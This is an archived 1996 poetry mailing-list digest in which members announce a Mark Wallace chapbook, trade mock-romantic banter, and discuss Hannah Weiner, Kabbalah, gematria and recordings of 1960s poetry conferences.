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353. Jonathan Brannen
NEW MARK WALLACE CHAPBOOK
Fri 23 Aug 1996

!!

NOW AVAILABLE FROM STANDING STONES PRESS

MARK WALLACE'S 27 part poem:

IN CASE OF DAMAGE TO LIFE, LIMB OR THIS ELEVATOR

(four dollars post-paid)

Standing Stones Press
7 Circle Pines
Morris, MN 56267

!!

MARK WALLACE

In Case of Damage to Life, Limb or This Elevator

Enthusiasm for secret doors
loses itself in the house
of redundant emphasis on the money
that wants to take over the day.
My best thoughts are ones
I stop myself from saying.

Who needs the state to censor me?
Across the courtyard huddles the empty
building of blatant charities
which knows what's not getting used to it.
Let's have our cake and eat our words,
inventing ghosts who hover in basements
uncovering useless crimes.
The world just isn't the mind
which keeps falling over the matter
of fact that wasn't there
when no one showed up.
Listening at night,
what do you hear beyond
the mangled psychodramas?
I never let myself think
in silence and the air-conditioning
of lives that go their own way.
Wind blows the pages apart.

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Mark DuCharme, Contractng Scale
Peter Ganick, IT OR S/HE
Geof Huth, To a Small Stream of Water (or Ditch)
H.T. (Heather Thomas), Circus Freex
Stephen-Paul Martin, Crisis of Representation
Michelle Murphy, The Tongue in its Shelf
Sheila E. Murphy, Wind Topography
John Perlman, Anacoustic o.p.
Susan M. Schultz, Earthquake Dreams o.p.
Mark Wallace, In Case of Damage to Life, Limb or
This Elevator

All publications are $4.00 or any four for $12.00
(postage included).

Standing Stones Press
7 Circle Pines
Morris, MN 56267

↑ Index

354. **Susan Schultz**
Re: NEW MARK WALLACE CHAPBOOK
Fri 23 Aug 1996

Dear Jonathan--I'd like to get a Mark Wallace book. Will pay as soon as my life is straight--I tried to leave Hawaii the other night but ended up in a 10 hour delay that resulted in my being here until later today (I hope). I'll be in Buffalo by Sept 3 at 107 14th Street, Upper, Buffalo, NY 14213.

all best, Susan

↑ Index

355. **Joseph Zitt**
Re: POETICS Digest - 10 Aug 1...
Fri 23 Aug 1996

On 23 Aug 96 at 13:10, George Bowering wrote:

> *George Bowering added (the bit beginning "Oh yeah?"):*

This thing is turning into The Renga According to Proust !-) ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Dallas, Texas \||| ||/ Question Authority, The == SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt == <*> <*> == The Data Wranglers! \|

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356. **william marsh**
Re: Chax e-mail?
Fri 23 Aug 1996

At 11:50 AM 8/22/96 -0400, you wrote:
>Hey poetics people,
>
>Please indulge one who's been ill--can Charles Alexander still be reached
>at [redacted], or does he have a new e-address to go with his "real"
>address in spatial "reality"?
>
>Gwyn McVay
>

>
Gwyn -- the last i heard he can still be reached at this email address, tho he did post about a week back that he'd be off-line for a week or so.

best,

bmarsh

↑ Index

357. **Rachel Loden**
Re: POETICS Digest - 10 Aug 1...
Sat 24 Aug 1996

George Bowering wrote (the bit beginning "I was told personally by Ron Silliman"):

> *To Charles Bernstein---*
>
> *Wondering how you are this late summer eve. Or summer's eve. Since I never*
> *even look at the Digest except when the when turns into the then (so dumb,*
> *forget it), am glad to see your CB. HOw does one say hello without talking to*
> *the whole team? Hi team Ever, Ann!*
>
> *I was wondering that too, Charles. I want to tell you how much you mean to*
> *me, and especially how much I savor that weekend in the motel in Wyoming,*
> *N.Y.*
>
> *Not that I've forgotten our last blissful night at the Bide-A-Wee in*
> *Peekskill, when stars fell into the Hudson and we were as pomo gods. Oh*
> *Charles, how awful to have to say these things to you in front of the*
> *hoi polloi. Hi hoi polloi! Ever your girl. P.S. Please send instruction*
> *manual.*
>
> *Charles, how could you!? You told me she was just an intelligent person you*
> *had befriended for her quick mind! I am sending your jewelry back.*
>
> *Some of us don't need trinkets to express the inexpressible, my dear*
> *--what do you call yourself--Georgette? Some of us, on a summer's*
> *eve, have the freedom of our own thoughts and need not surrender to*
> *idle jealousies. Charles may do what he wishes with his heart; I*
> *know I'll always have Peekskill, and my memories of the honeymoon*

> *suite! P.S. Keep your baubles--you may need to hock them for a few maple leaves.*
>
> *Oh yeah? Well, Charles told me a VERY interesting story about you and a certain Mister Joris, which I could never repeat in public. But REALLY, did you have to go to Poughkeepsie for something like that?*
>
> *Poughkeepsie! That sweet city with her dreaming spires...But no, I think Charles must have me mixed up with Amy Fisher in her preteen, pre-Buttafuoco days (Pierre's the only one who REALLY knows, and HE at least is too much of a gentleman to say. Aren't you Pierre?). I deal with all of this in my sonnet series "Snorkling the Lotus," for anyone who really wants to plumb the depths of those times. "The past is a foreign country: they do things differently there." I forgive you, Charles.*
>
> *I was told personally by Ron Silliman that "Snorkling the Lotus" was about him! Oh, I get it; you tell all your conquests that the poem was about them. Well, some of us here in poetry-land think too much of our craft to employ it in amatory adventures. Some of us, such as I, live a life of the mind. What is Ron going to do when he finds out that you dalled with Pierre, and heaven knows how many others? Ron Silliman is a sensitive man. And he does not go around writing public poems about his affairs of the heart.*

Really now, Georgette--seems to me that Ron goes around doing little else. Reading him is an endless game of connect-the-nasty-bits ("Only a minute after we agree that we're going to hop up, take a shower and not make love this morning, you're on top of me, rubbing, gradually slipping my penis in"). No, "Snorkling the Lotus" is all will-o'-the-wisp, all gossamer and hardly bears comparison to that sort of tawdry retailing. The affair you mention, if it happened at all, should have remained a private matter between Ron and me (and possibly the night manager of that place in Ossining). Oh Charles, how could a few soft words on a summer's eve result in such humiliations? XXXOOO a few disconsolate kisses in memory of my feelings.

Rachel Loden

↑ Index

358. **Burt Kimmelman**
Re: Berkeley 1965
Sat 24 Aug 1996

Hey Libbie and George,

You may recall that there was a big shindig at Cortland prior to the Buffalo fest, at which CO was the main guy but many others were there too, and somewhere there is a tape and transcript of his "performance."

Burt

↑ Index

359. George Bowering
Re: Berkeley 1965
Sun 25 Aug 1996

> *Hey Libbie and George,*
>
> *You may recall that there was a big shindig at Cortland prior to the Buffalo fest, at which CO was the main guy but many others were there too, and somewhere there is a tape and transcript of his "performance."*
>
> *Burt*

I would like to hear that! Also, if the SFU special collectiuons doesnt have it, I bet they wd love to.

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

"The BAZOOKA is only for my understanding."

--Tristan Tzara

↑ Index

360. Rachel Loden
it's citation time
Sun 25 Aug 1996

Hi team! In response to backchannel queries, I want to say that yes:

> *"Only a minute after we agree that we're going to hop up, take a shower and not make..." [censored]*

is a real Silliman quote. It's from _Under_, specifically the hunk published in _B City_ #9, 1994, p. 4 (and I don't believe that Ron has ever apologized for such passages).

Cheers,

Rachel Loden

↑ Index

361. **maria damon**
weiner again
Sun 25 Aug 1996

---

hi guyzies i'm trying to theorize hannah weiner as 1) a jewish writer and 2) in terms of trauma theory, or let me rephrase that: her texts seem to me to be "effects" (hey that almost rhymes) of the trauma of postmodernity. and also of being a jewish american girl (princess?) in the 40s and 50s --whose relatively comfortable youth was concurrent w/ the Holocaust; this is a twist, i think, on our earlier discussion of middleclass american women's "right" to use (the use and/or abuse debate) the holocaust as touchstone for articulating their experience: in this case it's not weiner but me who is trying to claim that as a legitimate, if "silent teacher"ly subtext of her decentered, disavowed and displaced writings-by-dictation. whaddya think? charles, you said something once about a pasage in clairvoyant journal that was particularly germane to her Jewishness; i can't recall/find what it was. any thots, any won? maria d ps you'll all be duly acknowledged in resulting essay, which is due in (yipes) three days.

↑ Index

362. **Joseph Zitt**
Re: word alchemy
Sun 25 Aug 1996

On 25 Aug 96 at 22:51, Alan Sondheim wrote:

> *The gematria I think is numerological (someone please correct me!) but most of the Kabbalah is a study, not only of the words and letters, but of the actual _shape_ of the letters related to the inner meanings of words.*

I haven't seen much, in the Kabbalah writings that I've read, referring to the meaning of the shapes of the letters. It sounds intriguing -- can you point me toward a reference? ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Dallas, Texas \||| ||/ Question Authority, The == SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt == <*> <*> == The Data Wranglers! \|

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363. **maria damon**
Re: weiner again
Sun 25 Aug 1996

---

and by the way guyzies, who was Alex Hladky, mention in weiners's SIXTEEN as
having died in the fall of 1982?
bests, maria d

↑ Index

364. **maria damon**
Re: weiner again
Sun 25 Aug 1996

---

whaddya have in mind, miekal? do you wanna join our range/renga quabal, or do you want to do a pas de deux (duet)? by the way, do you have any tape cassettes of Hannah Weiner? that i can buy from you? bests, maria d

In message "maria damon" writes:
> and by the way guyzies, who was Alex Hladky, mention in weiners's SIXTEEN as
> having died in the fall of 1982?
> bests, maria d
>
>
>
>

↑ Index

365. **maria damon**
word alchemy
Sun 25 Aug 1996

---

sorry guys its me again, going a little crazy:
is there a word for a system of magic or divination based on words or letters, the way numerology is based on numbers and astrology is based on stars?
Logology? Logomancy? alphabetrics?
bests, maria d

↑ Index

366. Alan Sondheim
Re: word alchemy
Sun 25 Aug 1996

Kabbalah

On Sun, 25 Aug 1996, maria damon wrote:

> *sorry guys its me again, going a little crazy:*
> *is there a word for a system of magic or divination based on words or letters,*
> *the way numerology is based on numbers and astrology is based on stars?*
> *Logology? Logomancy? alphabetrics?*
> *bests, maria d*

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images: http://www.cs.unca.edu/~davidson/pix/
4 GIN 1/3 SA KUG. BABBAR

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367. Charles Bernstein
Re: weiner again
Sun 25 Aug 1996

I am sorry I don't have time tonight (first week of classes at UB and acutely hectic for me) to respond more fully to Maria's thoughts about Hannah Weiner, though I do try to touch on some of the same issues in the LINEbreak interview I did with Hannah. But I think the reference Maria is referring to is from her recent work "Paw" where she recounts that a magical creature has followed her from Mexico to NYC and that this creature houses itself in a small velvet-lined drawer inside her forehead. This, it seems to me, is an image of the Tfellin* (the scripture that Orthodox Jews bind on their forehead). Also: Hannah emphasizes, in respect to the Clairvoyant Journal, that she see words on her forehead and the picture of her on the cover of the book has WORD written on her forehead. BUT, Hannah Weiner herself makes no connection to any Jewish reference.

I think on the LINEbreak tape I pose this to Hannah and she notes that I misremembered some of the details on "Paw" (which I heard at a reading about two years ago but have not read). Problem is, with this speed of this medium, to send this out now, and not in a month say, I am repeating the same misremembered details, which, if adjusted to what is in "Pah" would, I think, still hold. (I believe this poem is part of a ms that will be coming out before too long. It's a marvelous --wild -- piece, kind of a cross between Beatrice Potter and Magic Realism, but then again like neither one, and presented by its author as actual. But I better stop before I misremember more.)

*not sure if I spelled this right I checked my on-line dictionary here and it suggests "Telling", the title of Laura (Riding) Jackson's book [The Telling]. Weiner's method is also, of course, am image of a/the "telling".

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368. **maria damon**
Re: word alchemy
Sun 25 Aug 1996

---

i thot of that, alan, and thanks, but the kabbalah is also, isn't it, based on numerology?
md

In message <[redacted]> UB
Poetics discussion group writes:
> Kabbalah
>
> On Sun, 25 Aug 1996, maria damon wrote:
>
> > sorry guys its me again, going a little crazy:
> > is there a word for a system of magic or divination based on words or
> > letters,
> > the way numerology is based on numbers and astrology is based on stars?
> > Logology? Logomancy? alphabetrics?
> > bests, maria d
> >
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> http://jefferson.village.virginia.edu/~spoons/internet_txt.html
> images: http://www.cs.unca.edu/~davidson/pix/
> 4 GIN 1/3 SA KUG. BABBAR

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369. **maria damon**
Re: weiner again
Sun 25 Aug 1996

---

cb writes:
> I am sorry I don't have time tonight (first week of classes at UB and
> acutely hectic for me) to respond more fully to Maria's thoughts about
> Hannah Weiner,
..

thanks charles, very helpful. how can i get a tape of linebreak interview? md
(backchannel's fine)

↑ Index

370. Alan Sondheim
Re: word alchemy
Sun 25 Aug 1996

The gematria I think is numerological (someone please correct me!) but most of the Kabbalah is a study, not only of the words and letters, but of the actual _shape_ of the letters related to the inner meanings of words.

Alan

On Sun, 25 Aug 1996, maria damon wrote:

> *i thot of that, alan, and thanks, but the kabbalah is also, isn't it, based on numerology?*
> *md*
>
> *In message <[redacted]> UB*
> *Poetics discussion group writes:*
> *Kabbalah*
>
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>
> *sorry guys its me again, going a little crazy:*
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images: http://www.cs.unca.edu/~davidson/pix/
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371. Herb Levy
Poetics scrap book
Sun 25 Aug 1996

Whoever keeps track of press coverage of the EPC Web site (I think that'd probably be Joel Kuzsai, but what do I know) should check out p 191 of the

September issue of Wired, the one you can read standing around at news stands right now.

Others on the list may also be interested in checking it out. Besides the positive verbiage on EPC there are URLs for some other poetry sites including a cowboy poet site <http://www.westfolk.org/> & something called Oyster Boy Review <http://sunsite.unc.edu/ob/> which, from the look of it (I haven't checked it out yet), is a Bukowski love feast. You'll also find a listing for Ocassional Screenful, an e-mail list that does nothing but send a poem every few weeks (as opposed to Poetics-L which does everything including sending a poem every few weeks).

Needless to say all of the graphics come from Oyster Boy, rather than the EPC, even though the piece starts out with a slam on Quentin Tarantino.

Herb Levy
[redacted]

↑ Index

372. **maria damon**
Re: word alchemy
Sun 25 Aug 1996

---

thanks alan; i looked up kaballah and its origin is qabal, to receive or take, so in terms of weiner's clairvoyance it's perfect, though it's not what i thought i was asking. this is a very exhilerating project as it turns out; i was dreading having to grind out an 8-page special for yet another conference (i adore conferences mostly, but i'm getting tired of having to write things, i mean, i'm not getting tired as it turns out, but i get tired at the *idea* of having to write something; when i actually do it it's a gas)...the worry is it good enough...this is for a panel on theorizing the traumatic and the other panelists are doing this highpowered stuff on freud, deleuzian post-holocaust cinematics and german film etc, and here i am saying isn't this neat, this lady sees words! o well. anyone out there on the list going to the midwest mla in my fair(haired and skinned) city? actually i saw baraka read here last night as part of the beat exhibit, it was exhilerating, and my colleague john wright performing l hughes's ask your mama with a jazz quartet and a slide show. bests, maria d

In message <[redacted]> UB
Poetics discussion group writes:
> The gematria I think is numerological (someone please correct me!) but
> most of the Kabbalah is a study, not only of the words and letters, but
> of the actual _shape_ of the letters related to the inner meanings of words.
>
> Alan

>
> On Sun, 25 Aug 1996, maria damon wrote:
>
> > i thot of that, alan, and thanks, but the kabbalah is also, isn't it, based
> > on
> > numerology?
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> >
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373. Christina Fairbank Chirot

word alchemy

Sun 25 Aug 1996

There's always Rimbaud's Alchemy of the Word, the "Lettre du Voyant" --dbchirot

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374. Charles Smith
Re: word alchemy
Sun 25 Aug 1996

In a message dated 96-08-25 22:07:48 EDT, maria writes:

<<
 sorry guys its me again, going a little crazy:
 is there a word for a system of magic or divination based on words or letters,
 the way numerology is based on numbers and astrology is based on stars?
 Logology? Logomancy? alphabetrics?
 bests, maria d
  >>

maria,

Kabbalah comes to mind....

& a quick look at Johanna Drucker's _The Alphabetic Labyrinth_ mentions: curses, spells defixiones, amulets, lamellae, kleromancy & alectryomancy

alectryomancy (credited to a follower of Pythagoras, Iamblichus): "divination by means of a fowl. To use this method one scratched the letters of the alphabet out around a circle in the sand and then sprinkled grain over them. The fowl was released and the pattern of its pecking was recorded. The sequence of letters was studied for hidden meanings or messages." --p. 68

she also mentions Agrippa's _De Occulta Philosophia_

don't know if this is of any help to ya

hope to get to SF for yr G Stein talk next week

charles

↑ Index

375. maria damon
Re: weiner
Mon 26 Aug 1996

another one for you geniuses (this is really useful): what does "Hannah" mean in hebrew? i'm embarrassed to say i don't know. hanni i know means happy in arabic, so maybe its the same thing? md

↑ Index

376. **Oren Izenberg**
Re: word alchemy
Mon 26 Aug 1996

Hi all.

Gematriya is indeed numerological-- but it *is* based on the correspondence between the letters of the alphabet and their assigned number values. The numbers serve to indicate equivalences (mystical and otherwise) between words.

best,

O.

↑ Index

377. **Oren Izenberg**
Re: weiner
Mon 26 Aug 1996

Two possible roots: "Cheyn" means (more or less) "charm", a beauty not of aspect but of person. Perhaps less interestingly (and probably further from the true etymology) "Choneh" means to camp or pitch a tent; the past tense would be chana-- but the syllabic stress is different from the name-- Cha'nna the name, chana' the verb.

On Sun, 25 Aug 1996, maria damon wrote:

> *another one for you geniuses (this is really useful): what does "Hannah" mean in hebrew? i'm embarrassed to say i don't know. hanni i know means happy in arabic, so maybe its the same thing?*
> *md*

↑ Index

378. **Alan Sondheim**
Re: weiner
Mon 26 Aug 1996

Chet-nun-hay is to be gracious; it may be related to this. Chet-mem-shin is the root of happy; hay-nun-hay is to be agreeable, pleased, pleasant; for that matter, hay-nun-hay in the sense of hee-nay is behold or lo.

Alan - there are Arabic cognates as well.

On Sun, 25 Aug 1996, maria damon wrote:

> *another one for you geniuses (this is really useful): what does "Hannah" mean in hebrew? i'm embarrassed to say i don't know. hanni i know means happy in arabic, so maybe its the same thing?*

> *md*

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379. **Alan Sondheim**
Re: word alchemy
Mon 26 Aug 1996

I remember Hannah, the first time I met her, reading the word "poison" on my forehead, and I thought at that point, it's also a weapon.

Just as depression (my own included) is a weapon.

That can't be overlooked.

Kabbalah - original meaning "to be opposite," then "to take that which is opposite, to take over, to receive." Indication it might be related to Akkadian words for "battle" and "middle," and Arabic "qalb" for "heart."

Check out Ernest Klein, A Comprehensive Etymological Dictionary of the Hebrew Language, for Readers of English, Macmillan, 1987. If you want more traditional sources, I can find them.

Alan

http://jefferson.village.virginia.edu/~spoons/internet_txt.html
images: http://www.cs.unca.edu/~davidson/pix/
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380. **Douglis Beck**
small press & poetry
Mon 26 Aug 1996

---

julie, there are two excellent books you should check out on small presses. one is richard peabody's "Mavericks" (subtitle is something like: 7 renegade publishers; whatever, its packed, sorry.) its very good & probably much better than the other: "The Art of Literary Publishing" can't remember the editor, but it strikes me as more pedantic than richard's book. both will be interesting to you though. douglis.

↑ Index

381. Alan Sondheim
Re: word alchemy
Mon 26 Aug 1996

I remember material in the Zohar discussing the name of God - it might also be in tales of the Chassidim - in terms of the Hay needing support from the yod (also means hand) for example...

Alan

On Mon, 26 Aug 1996, Joseph Zitt wrote:

> *On 25 Aug 96 at 22:51, Alan Sondheim wrote:*
>
> *The gematria I think is numerological (someone please correct me!) but*
> *most of the Kabbalah is a study, not only of the words and letters, but*
> *of the actual _shape_ of the letters related to the inner meanings of words.*
>
> *I haven't seen much, in the Kabbalah writings that I've read,*
> *referring to the meaning of the shapes of the letters. It sounds*
> *intriguing -- can you point me toward a reference?*
> *---------1---------1---------1---------1---------1---------1----------*
> *|||/ Joseph Zitt ====* [redacted] *===== Dallas, Texas \|||*
> *||/ Question Authority, The == SILENCE: The John Cage Mailing List \||*
> *|/ http://www.realtime.net/~jzitt == <*> <*> == The Data Wranglers! \|*

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382. Thomas Bell
Re: word alchemy
Mon 26 Aug 1996

maria damon wrote

> *...the worry is it*
> *good enough...this is for a panel on theorizing the*
> *traumatic and the other*
> *panelists are doing this highpowered stuff on freud,*
> *deleuzian post-holocaust*
> *cinematics and german film etc, and here i am saying*
> *isn't this neat, this lady*
> *sees words!*

-as I"ve said before, it's the act of writing or drawing
that counts. I've seen this as a therapist and in my

own work. The names and the theories you note are
just part of their own secret kabbalah. Go get 'em!
tom

↑ Index

383. Christina Fairbank Chirot
word alchemy
Mon 26 Aug 1996

For word alchemy as performance score, see Emmett Wiiliams, The Alphabet Symphony:

This is a symphony in which you can spell "love" by smoking a cigar, blowing a silent dog whistle, eating a chocolate eclair off the floor on all fours.

In The Alphabet Symphony, twenty-six objects are substituted for the letters of the alphabet. These objects, with instructions on what the performer should do with them, are arranged on the stage in alphabetical order. The conductor draws a letter from a box. He calls the letter "E", for example, and the performer proceeds to the row of objects, selects the "E" object, and does with it what the instruction tells him to do. The objects and actions can vary from performance to performance . . . it was the most popular of my performances in early Fluxus days . . . (1962). The complete text may be found at:

http://www.panix.com/~fluxus

Instructions in a Symphony that varies from performance
to performance--interesting to think on in relation to the intersections
of predictions/control/fate/chance--

(some of which were brought up during the "stochastic"
thread on this list a number of weeks ago)
--dave baptiste chirot

↑ Index

384. Rachel Loden
Hannah
Mon 26 Aug 1996

Maria, at this very odd site

> *http://www.sasknet.com/~dramashar/hannah.htm*

found this:

> *Pronunciation, meaning & background*

> ** Channah, {pronounced khan-naw'}.*
> ** Hannah means 'grace'*
> ** 1) the mother of Samuel, one of the wives of Elkanah*
>
> *- or -*
>
> ** chanan {khaw-nan'}*
> ** - mercy, gracious, merciful supplication, favor, besought, pity, fair, favorable, favored*
> ** 1) to be gracious, show favor, pity*
> ** 1 a) (Qal) to show favor, be gracious*
> ** 1 b) (Niphal) to be pitied*
> ** 1 c) (Piel) to make gracious, be favorable, be gracious*
> ** 1 d) (Poel) to direct favor to, have mercy on*
> ** 1 e) (Hophal) to be shown favor, show consideration*
> ** 1 f) (Hithphael) to seek favor, implore favor*
>
> *The actress should consult, and be very familiar with, the story of Hannah in 1 Samuel, chapters 1 and 2.*

Rachel

↑ Index

385. **Judy Roitman**
Re: word alchemy
Mon 26 Aug 1996

Alan Sondheim suggested that

> *Kabbalah*

was the answer to Maria Damon's question
>
>> is there a word for a system of magic or divination based on words or letters,
>> the way numerology is based on numbers and astrology is based on stars?
>> Logology? Logomancy? alphabetrics?
>> bests, maria d
>>

Kabbalah is a lot bigger than that. A *lot* bigger.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

386. **maria damon**
Re: word alchemy
Mon 26 Aug 1996

---

judy writeman roits:
> Alan Sondheim suggested that
>
> >Kabbalah
>
> was the answer to Maria Damon's question
> >
> >> is there a word for a system of magic or divination based on words or
> > letters,
> >> the way numerology is based on numbers and astrology is based on stars?
> >> Logology? Logomancy? alphabetrics?
> >> bests, maria d
> >>
>
> Kabbalah is a lot bigger than that. A *lot* bigger.
>
that's what i thought, but so many folks have responded by pointing me to the Kaballah that...uh-oh, it might be time for me to descend. i've always been fearful of not having the "right stuff" (by which i don't mean traditional gender requirements, but a kind of energy for sustained longterm inquiry into things more profound than imaginable, kinda like taking acid as a metaphysical exercise). not wanting to just cruise the surface, but aware of the significance of diving deep. who'd a thot that a dinky-ass little conference paper wd land me in the Kaballah.
thanks everyone, there's been lots of helpful response.
md

↑ Index

387. **Jerry Rothenberg**
Re: word alchemy
Mon 26 Aug 1996

For maria d --

In the original edition of A BIG JEWISH BOOK I have a selectiion from Hannah's Clairvoyant Journal -- set between an image of Wallace Berman's 1960s "Wall" and a number of medieval Hebrew (masora) "calligrams." The commentary on

Hannah begins: "Weiner's journals -- contemporary -- arise from an experience of word-visualization reminiscent of those of the traditional poet-mystics: 'I see words on my forehead, in the air, on other people [etcetera].' With this the reader can compare, e.g., the appearance of the Hebrew letters (above, p. 391) as "great mountains," or the oral manifestation to the kabbalist Joseph Caro (1488-1575) of a maggid (heavenly messenger), who took the name Mishna & a persona between male & female ..." It then goes on to quote Caro's description of the visitation, which is in fact a gift of spoken rather than written words -- words that "will speak in thy mouth & thy lips will vibrate." The great mountains reference from an anonymous 13th century author, describes an act of word kabbala involving recombinations of the letters of the names of God & runs like this: "During the second week the power became so strong in me that I couldn't manage to write down all the combinations of letters which automatically spurted out of my pen. ... When I came to the night in which power was conferred on me, & Midnight had passed, I set out to take up the Great Name of God, consisting of 72 Names, permuting & combining it. But when I had done this for a little while, the letters took on the shape of great mountains, strong trembling seized me & I could summon no strength, my hair stood on end, & it was as if I were not in this world. Then something resembling speech came to my lips & forced them to move. I said: "This is indeed the spirit of wisdom."

[This is probably the kind of thing Alan Sondheim had in mind in speaking about the shapes of letters.]

I conclude the above quote with some more: "The range of approaches & names ("the whole Torah is nothing but the great name of God" -- thus J. Gikatilla) should be clear in the images that follow. From what is in effect a sacred 'concrete poetry.'" And the conclusion to the commentary on Hannah: "The lack of a similar context for Weiner's experience, etc., is a condition of our time -- on which no further comment."

Anyway there's more in fact that could be said -- e.g. about gematria as a field of both letters & numbers, etc. -- but it's a busy morning in San Diego & about as far as I can go.

Jerome Rothenberg

↑ Index

388. **maria damon**
Re: word alchemy
Mon 26 Aug 1996

---

thanks jerry for the reminder that i have this terrific resource (a big j-book) right on my shelf. almost wrote 'on my self' --apropos.
bests, maria d

↑ Index

389. **Burt Kimmelman**
Re: Berkeley 1965
Mon 26 Aug 1996

George et al.
Does anyone know if and where a recording of the Cortland Poetry Convocation is? (I know there is a transcript somewhere).

burt

↑ Index

390. **Kevin Killian**
Marlene Nourbese Philip
Mon 26 Aug 1996

This is Dodie Bellamy. Marlene Nourbese Philip will be reading at Small Press Traffic in November. I remember there was quite an involved discussion of her work here on the poetics list a few months ago. I'd like to look that discussion up in the list archives. Anybody remember around when that was?

Thanks.

↑ Index

391. **Jerry Rothenberg**
Re: Berkeley 1965
Mon 26 Aug 1996

Burt --

You might try the Blackburn archives at UC-San diego (Archive for the New Poetry), which has all of Paul's tapes. I'd guess the Cortland Poetry events were a few years before Paul moved there, but there's a chance (I'm just guessing) that he would have been there, and in that case, there's every chance he would have come back with a recording.

The number is [redacted], and the person to talk to is Brad Westbrook.

All best

Jerry Rothenberg

↑ Index

392. Carl Lynden Peters
Re: word alchemy (fwd)
Mon 26 Aug 1996

> *jack burnham (north western university) writes on the kabbalah and marcel duchamp. he's done amazing work, and sometime ago had begun a bk on the shapes of the letters and duchamp's work -- it was called (tentatively) _narrative structure in western art_. i think he's abandoned that project, tho, or is holding onto the manuscript -- but probably the most accessible bk of his which outlines all of this is his collected essays: _great western salt works_ -- i think it's out of print, but any university library will (or shld) have it. what's especially interesting for me is what he has to say abt gnosticism and duchamp's _indifference_ --*
>
> *c.*

↑ Index

393. George Bowering
Re: word alchemy
Mon 26 Aug 1996

> *Kabbalah*
>
> *On Sun, 25 Aug 1996, maria damon wrote:*
>
> *sorry guys its me again, going a little crazy:*
> *is there a word for a system of magic or divination based on words or letters,*
> *the way numerology is based on numbers and astrology is based on stars?*
> *Logology? Logomancy? alphabetrics?*
> *bests, maria d*

Well, I thought of Kabala too, but that's kind of numbers and letters, eh?

George Bowering. "Nuestros cuerpos se cubren

de una yedra de s=EDlabras."

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

--Octavio Paz

fax: [redacted]
e-mail: [redacted] =20

↑ Index

394. George Bowering
Re: weiner
Mon 26 Aug 1996

My old Webster gives Hannah as "grace"

George Bowering. "Nuestros cuerpos se cubren

de una yedra de s=EDlabras."
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4
--Octavio Paz
fax: [redacted]
e-mail: [redacted] =20

↑ Index

395. maria damon
Re: weiner
Mon 26 Aug 1996

---

thanks george; my old webster gives nothing of meaning.

In message <v01530503ae47c996dae6@[142.58.126.37]> UB Poetics discussion group
writes:
> My old Webster gives Hannah as "grace"
>
>
>
>
> George Bowering. "Nuestros cuerpos se cubren
>
> de una yedra de s=EDlabras."
> 2499 West 37th Ave.,
> Vancouver, B.C.,
> Canada V6M 1P4
> --Octavio Paz
> fax: [redacted]
> e-mail: [redacted] =20

↑ Index

396. James Sherry
Hannah Weiner
Mon 26 Aug 1996

Roof Books will publish Hannah's Weiner's <<We Speak Silent>> this fall. I will try to make a special offer to the list when the book becomes available.

Meanwhile, Maria, I wonder about your theory. The themes in Hannah's writing don't seem to me to have much to do with holocaust. A list of them would show late sixties tv and political issues, the fast, lsd, family, friends, and isolation. Why not take her at her word?

The interest for me in Hannah's writing has always been her ability to weave through inside and out without the usual membranes and transitions. For Hannah much of what we call art comes quite easily to her once she has put herself in a particular position, which I don't need to characterize.

Also see Maria Damon's essay in the new issue of <<Chain>>: Hannah makes a pure play at consciousness by mixing genres. Sometimes she succeeds and the reader is pleased.

James

↑ Index

397. Charles Watts
Berkeley poetry conference 1965
Mon 26 Aug 1996

George Bowering is right, we do have a good deal of information here about both the Vancouver (1963) and Berkeley (1965) poetry conferences, including tape recordings of the roundtable discussions and readings in Vancouver and of the lectures and readings in Berkeley. The Berkeley recordings are copies of those held in the library at UC Berkeley; the Vancouver recordings are unique. And no, unfortunately we cannot make copies of these recordings available to interested users without the permission in writing of the participants/readers or their estates. If you want to hear them, come to Vancouver!

Ralph Maud has been publishing a lot of useful material about the Berkeley poetry conference, particularly about Charles Olson's reading/talk. Several years ago, Ralph "published" for his own classes' use a new, corrected transcription of Olson's talk at Berkeley which is much more accurate and complete than Zoe Brown's _Charles Olson Reading at Berkeley_, published in 1966 by Coyote. Ralph Maud's transcription was eventually included in _Muthologos: the Collected Lectures and Interviews of Charles Olson_, The Four Seasons Foundation, 1978.

Recently Ralph has been publishing material related to Olson's appearance in Berkeley (as a kind of rebuttal to Tom Clark's account in his bio of Olson), in _The Minutes of the Charles Olson Society_. I don't have the exact issues at hand, but you can write to Ralph (snail mail only) at 1104 Maple Street, Vancouver, B.C. Canada V6J 3R6 with specific queries. If you want issues or a subscription to _The Minutes of the Charles Olson Society_, write to the Charles Olson Society at the same address. Single issues are $2.50 a copy, a subscription to the current series (series 2) is $25. Also, a transcription of the "Angel, Muse, Duende" discussion featuring Olson, Ginsberg and Duncan, Vancouver, 1963, is published in _Sulfur_ 33. There's also a memoir (from Duncan McNaughton, I think) of Olson's talk at Cortland in one of the _Minutes of the Charles Olson Society_.

If you have questions about materials held here in Special Collections, Simon Fraser University, you can contact me backchannel at [redacted]. A caution, tho: I'll be away from this screen and email address for the next two weeks.

As a kind of perspective on the ever-mounting heap of compost in that red wheelbarrow, look again at what Melville said about doubloons and their beholders in _Moby-Dick_.

Best,

Charles Watts

↑ Index

398. **Joseph Zitt**

Re: Kaballah, possibly unrelated resources

Mon 26 Aug 1996

On 27 Aug 96 at 0:50, Carnography wrote:

> *numbers. There is also ancient trick that is used to reduce the*
> *the entire text of the bible (in the original Sanskrit) into*
> *a sequence of permutations on a single formula.*

Sanksrit?! Which bible? ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Dallas, Texas \||| ||/ Question Authority, The == SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt == <*> <*> == The Data Wranglers! \|

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399. maria damon
Re: Hannah Weiner
Mon 26 Aug 1996

---

james sherry writes:
> Roof Books will publish Hannah's Weiner's <<We Speak Silent>> this fall. I
> will try to make a special offer to the list when the book becomes available.

goody! in the meantime, where can i get "PAH" or PAW, that charles mentioned?
>
> Meanwhile, Maria, I wonder about your theory. The themes in Hannah's
